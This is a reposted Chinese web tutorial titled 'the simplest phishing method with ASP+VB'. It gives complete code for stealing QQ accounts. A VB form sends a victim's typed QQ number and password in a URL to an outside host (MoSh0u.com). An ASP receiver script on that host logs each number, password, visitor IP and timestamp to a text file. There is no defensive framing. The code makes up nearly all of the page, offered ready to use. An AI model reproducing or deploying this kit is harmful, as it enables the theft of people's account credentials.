用ASP+VB打造最简单的钓鱼方法[网络技术]
本文“用ASP+VB打造最简单的钓鱼方法[网络技术]”是由七道奇为您精心收集，来源于网络转载，文章版权归文章作者所有，本站不对其观点以及内容做任何评价，请读者自行判断，以下是其具体内容：
需求控件:
Microsoft Internet Controls
成立:
Command1,Text1,Text2,WebBrowser1
填上代码:
Private Sub Command1_Click()
WebBrowser1.Navigate "http://MoSh0u.com/MoS0u.asp?QQNumber=" & Text1.Text & "&QQPassWord=" & Text2.Text & ""
End Sub
收信ASP:
<%
strLogFile="MoSh0u.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
if QQNumber="" or QQPassWord="" then
response.write "MoSh0u!"
response.end
End If
StrLogText=StrLogText&""&QQNumber&"----"&QQPassWord&"----"&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&"----"&date&" "&time &""
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)&StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "发送成功!"
%>
以上是“用ASP+VB打造最简单的钓鱼方法[网络技术]”的内容，如果你对以上该文章内容感兴趣，你可以看看七道奇为您推荐以下文章：
| 本文地址： | 与您的QQ/BBS好友分享! |
- 好的评价 如果您觉得此文章好，就请您
0%(0) 
- 差的评价 如果您觉得此文章差，就请您
0%(0) 
中查找“用ASP+VB打造最简单的钓鱼方法”更多相关内容
中查找“用ASP+VB打造最简单的钓鱼方法”更多相关内容